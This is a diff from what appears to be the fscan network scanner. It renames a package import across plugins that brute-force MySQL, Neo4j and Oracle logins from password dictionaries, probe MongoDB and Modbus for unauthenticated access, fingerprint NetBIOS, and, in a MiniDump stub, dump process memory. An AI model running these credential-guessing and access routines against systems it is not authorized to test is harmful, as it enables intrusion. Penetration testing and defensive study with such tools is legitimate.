common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
return nil
}

View File

@ -2,8 +2,8 @@
package Plugins
import "github.com/shadow1ng/fscan/Common"
import "github.com/shadow1ng/fscan/common"
func MiniDump(info *Common.HostInfo) (err error) {
func MiniDump(info *common.HostInfo) (err error) {
return nil
}

View File

@ -6,7 +6,7 @@ import (
"fmt"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// ModbusScanResult 表示 Modbus 扫描结果
@ -17,16 +17,16 @@ type ModbusScanResult struct {
}
// ModbusScan 执行 Modbus 服务扫描
func ModbusScan(info *Common.HostInfo) error {
func ModbusScan(info *common.HostInfo) error {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target))
common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 执行扫描
result := tryModbusScan(ctx, info, Common.Timeout, Common.MaxRetries)
result := tryModbusScan(ctx, info, common.Timeout, common.MaxRetries)
if result.Success {
// 保存扫描结果
@ -37,20 +37,20 @@ func ModbusScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Modbus 扫描全局超时")
common.LogDebug("Modbus 扫描全局超时")
return fmt.Errorf("全局超时")
default:
if result.Error != nil {
Common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error))
common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error))
return result.Error
}
Common.LogDebug("Modbus 扫描完成,未发现服务")
common.LogDebug("Modbus 扫描完成,未发现服务")
return nil
}
}
// tryModbusScan 尝试单个 Modbus 扫描
func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult {
func tryModbusScan(ctx context.Context, info *common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult {
var lastErr error
host, port := info.Host, info.Ports
target := fmt.Sprintf("%s:%s", host, port)
@ -64,7 +64,7 @@ func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds in
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target))
common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -77,7 +77,7 @@ func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds in
// 在协程中执行扫描
go func() {
// 尝试建立连接
conn, err := Common.WrapperTcpWithContext(connCtx, "tcp", target)
conn, err := common.WrapperTcpWithContext(connCtx, "tcp", target)
if err != nil {
select {
case <-connCtx.Done():
@ -171,7 +171,7 @@ func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds in
lastErr = result.Error
if result.Error != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(result.Error); retryErr == nil {
if retryErr := common.CheckErrs(result.Error); retryErr == nil {
break // 不需要重试的错误
}
}
@ -249,11 +249,11 @@ func parseModbusResponse(response []byte) string {
}
// saveModbusResult 保存Modbus扫描结果
func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanResult) {
func saveModbusResult(info *common.HostInfo, target string, result *ModbusScanResult) {
// 保存扫描结果
scanResult := &Common.ScanResult{
scanResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -263,11 +263,11 @@ func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanRe
"device_info": result.DeviceInfo,
},
}
Common.SaveResult(scanResult)
common.SaveResult(scanResult)
// 控制台输出
Common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target))
common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target))
if result.DeviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo))
common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo))
}
}

View File

@ -7,20 +7,20 @@ import (
"strings"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// MongodbScan 执行MongoDB未授权扫描
func MongodbScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func MongodbScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target))
common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 创建结果通道
@ -46,16 +46,16 @@ func MongodbScan(info *Common.HostInfo) error {
case result := <-resultChan:
if result.err != nil {
errlog := fmt.Sprintf("MongoDB %v %v", target, result.err)
Common.LogError(errlog)
common.LogError(errlog)
return result.err
} else if result.isUnauth {
// 记录控制台输出
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
// 保存未授权访问结果
scanResult := &Common.ScanResult{
scanResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -65,55 +65,55 @@ func MongodbScan(info *Common.HostInfo) error {
"protocol": "mongodb",
},
}
Common.SaveResult(scanResult)
common.SaveResult(scanResult)
} else {
Common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target))
common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target))
}
return nil
case <-ctx.Done():
Common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target))
common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target))
return fmt.Errorf("全局超时")
}
}
// MongodbUnauth 检测MongoDB未授权访问
func MongodbUnauth(ctx context.Context, info *Common.HostInfo) (bool, error) {
func MongodbUnauth(ctx context.Context, info *common.HostInfo) (bool, error) {
msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost))
common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost))
// 尝试OP_MSG查询
Common.LogDebug("尝试使用OP_MSG协议")
common.LogDebug("尝试使用OP_MSG协议")
reply, err := checkMongoAuth(ctx, realhost, msgPacket)
if err != nil {
Common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err))
common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err))
// 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(ctx, realhost, queryPacket)
if err != nil {
Common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err))
common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err))
return false, err
}
}
// 检查响应结果
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
if strings.Contains(reply, "totalLinesWritten") {
Common.LogDebug("响应中包含totalLinesWritten确认未授权访问")
common.LogDebug("响应中包含totalLinesWritten确认未授权访问")
return true, nil
}
Common.LogDebug("响应未包含预期内容,可能需要认证")
common.LogDebug("响应未包含预期内容,可能需要认证")
return false, nil
}
// checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) {
Common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address))
common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address))
// 使用带超时的连接
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", address, time.Duration(common.Timeout)*time.Second)
if err != nil {
return "", fmt.Errorf("连接失败: %v", err)
}
@ -127,12 +127,12 @@ func checkMongoAuth(ctx context.Context, address string, packet []byte) (string,
}
// 设置读写超时
if err := conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
if err := conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
return "", fmt.Errorf("设置超时失败: %v", err)
}
// 发送查询包
Common.LogDebug("发送查询包")
common.LogDebug("发送查询包")
if _, err := conn.Write(packet); err != nil {
return "", fmt.Errorf("发送查询失败: %v", err)
}
@ -145,7 +145,7 @@ func checkMongoAuth(ctx context.Context, address string, packet []byte) (string,
}
// 读取响应
Common.LogDebug("读取响应")
common.LogDebug("读取响应")
reply := make([]byte, 2048)
count, err := conn.Read(reply)
if err != nil && err != io.EOF {
@ -156,7 +156,7 @@ func checkMongoAuth(ctx context.Context, address string, packet []byte) (string,
return "", fmt.Errorf("收到空响应")
}
Common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count))
common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count))
return string(reply[:count]), nil
}

View File

@ -10,7 +10,7 @@ import (
"time"
"github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// MySQLProxyDialer 自定义dialer结构体
@ -20,14 +20,14 @@ type MySQLProxyDialer struct {
// Dial 实现mysql.Dialer接口支持socks代理
func (d *MySQLProxyDialer) Dial(ctx context.Context, addr string) (net.Conn, error) {
return Common.WrapperTcpWithContext(ctx, "tcp", addr)
return common.WrapperTcpWithContext(ctx, "tcp", addr)
}
// registerMySQLDialer 注册MySQL自定义dialer
func registerMySQLDialer() {
// 创建自定义dialer
dialer := &MySQLProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond,
timeout: time.Duration(common.Timeout) * time.Millisecond,
}
// 注册自定义dialer到go-sql-driver/mysql
@ -50,22 +50,22 @@ type MySQLScanResult struct {
}
// MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func MysqlScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []MySQLCredential
for _, user := range Common.Userdict["mysql"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, MySQLCredential{
Username: user,
@ -74,11 +74,11 @@ func MysqlScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["mysql"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["mysql"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentMySQLScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentMySQLScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveMySQLResult(info, target, result.Credential)
@ -88,18 +88,18 @@ func MysqlScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("MySQL扫描全局超时")
common.LogDebug("MySQL扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentMySQLScan 并发扫描MySQL服务
func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
func concurrentMySQLScan(ctx context.Context, info *common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -145,7 +145,7 @@ func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -166,14 +166,14 @@ func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("MySQL并发扫描全局超时")
common.LogDebug("MySQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryMySQLCredential 尝试单个MySQL凭据
func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
func tryMySQLCredential(ctx context.Context, info *common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -186,7 +186,7 @@ func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential M
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -210,7 +210,7 @@ func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential M
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -225,13 +225,13 @@ func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential M
}
// MysqlConn 尝试MySQL连接
func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
func MysqlConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
// 检查是否需要使用socks代理
var connStr string
if Common.Socks5Proxy != "" {
if common.Socks5Proxy != "" {
// 注册自定义dialer
registerMySQLDialer()
@ -322,14 +322,14 @@ func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass str
}
// saveMySQLResult 保存MySQL扫描结果
func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCredential) {
func saveMySQLResult(info *common.HostInfo, target string, credential MySQLCredential) {
successMsg := fmt.Sprintf("MySQL %s %v %v", target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -340,5 +340,5 @@ func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCrede
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -8,7 +8,7 @@ import (
"time"
"github.com/neo4j/neo4j-go-driver/v4/neo4j"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// Neo4jCredential 表示一个Neo4j凭据
@ -26,16 +26,16 @@ type Neo4jScanResult struct {
IsDefaultCreds bool
}
func Neo4jScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func Neo4jScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 初始检查列表 - 无认证和默认凭证
@ -45,11 +45,11 @@ func Neo4jScan(info *Common.HostInfo) error {
}
// 先检查无认证和默认凭证
Common.LogDebug("尝试默认凭证...")
common.LogDebug("尝试默认凭证...")
for _, credential := range initialCredentials {
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password))
result := tryNeo4jCredential(ctx, info, credential, Common.Timeout, 1)
result := tryNeo4jCredential(ctx, info, credential, common.Timeout, 1)
if result.Success {
// 标记结果类型
if credential.Username == "" && credential.Password == "" {
@ -66,8 +66,8 @@ func Neo4jScan(info *Common.HostInfo) error {
// 构建凭据列表
var credentials []Neo4jCredential
for _, user := range Common.Userdict["neo4j"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["neo4j"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, Neo4jCredential{
Username: user,
@ -76,11 +76,11 @@ func Neo4jScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["neo4j"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["neo4j"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentNeo4jScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentNeo4jScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveNeo4jResult(info, target, result)
@ -90,18 +90,18 @@ func Neo4jScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Neo4j扫描全局超时")
common.LogDebug("Neo4j扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials)))
return nil
}
}
// concurrentNeo4jScan 并发扫描Neo4j服务
func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
func concurrentNeo4jScan(ctx context.Context, info *common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -147,7 +147,7 @@ func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -168,14 +168,14 @@ func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("Neo4j并发扫描全局超时")
common.LogDebug("Neo4j并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryNeo4jCredential 尝试单个Neo4j凭据
func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
func tryNeo4jCredential(ctx context.Context, info *common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -188,7 +188,7 @@ func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential N
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -243,7 +243,7 @@ func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential N
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -258,9 +258,9 @@ func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential N
}
// Neo4jConn 尝试Neo4j连接
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
func Neo4jConn(info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
// 构造Neo4j URL
uri := fmt.Sprintf("bolt://%s:%s", host, port)
@ -310,7 +310,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// saveNeo4jResult 保存Neo4j扫描结果
func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResult) {
func saveNeo4jResult(info *common.HostInfo, target string, result *Neo4jScanResult) {
var successMsg string
var details map[string]interface{}
@ -346,15 +346,15 @@ func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResu
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -4,7 +4,7 @@ import (
"bytes"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"gopkg.in/yaml.v3"
"net"
"strconv"
@ -14,12 +14,12 @@ import (
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *Common.HostInfo) error {
func NetBIOS(info *common.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result)
common.LogSuccess(result)
// 保存结果
details := map[string]interface{}{
@ -52,21 +52,21 @@ func NetBIOS(info *Common.HostInfo) error {
details["os_version"] = netbios.OsVersion
}
scanResult := &Common.ScanResult{
scanResult := &common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Type: common.SERVICE,
Target: info.Host,
Status: "identified",
Details: details,
}
Common.SaveResult(scanResult)
common.SaveResult(scanResult)
return nil
}
return errNetBIOS
}
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" {
@ -81,12 +81,12 @@ func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}
@ -125,16 +125,16 @@ func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
return
}
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}

View File

@ -4,7 +4,7 @@ import (
"context"
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings"
"sync"
@ -28,16 +28,16 @@ type OracleScanResult struct {
// 常见Oracle服务名列表
var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"}
func OracleScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func OracleScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建常见高危凭据列表(优先测试)
@ -54,9 +54,9 @@ func OracleScan(info *Common.HostInfo) error {
}
// 先尝试常见高危凭据
Common.LogDebug("尝试常见高危凭据...")
common.LogDebug("尝试常见高危凭据...")
for _, cred := range highRiskCredentials {
result := tryAllServiceNames(ctx, info, cred, Common.Timeout, 1)
result := tryAllServiceNames(ctx, info, cred, common.Timeout, 1)
if result != nil && result.Success {
saveOracleResult(info, target, result.Credential, result.ServiceName)
return nil
@ -65,8 +65,8 @@ func OracleScan(info *Common.HostInfo) error {
// 构建完整凭据列表
var credentials []OracleCredential
for _, user := range Common.Userdict["oracle"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["oracle"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
// 转换用户名为大写,提高匹配率
credentials = append(credentials, OracleCredential{
@ -76,11 +76,11 @@ func OracleScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["oracle"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["oracle"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentOracleScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentOracleScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveOracleResult(info, target, result.Credential, result.ServiceName)
@ -90,16 +90,16 @@ func OracleScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Oracle扫描全局超时")
common.LogDebug("Oracle扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials)))
return nil
}
}
// tryAllServiceNames 尝试所有常见服务名
func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
func tryAllServiceNames(ctx context.Context, info *common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
for _, serviceName := range commonServiceNames {
result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
if result.Success {
@ -120,9 +120,9 @@ func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential O
}
// concurrentOracleScan 并发扫描Oracle服务
func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
func concurrentOracleScan(ctx context.Context, info *common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -169,7 +169,7 @@ func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credential
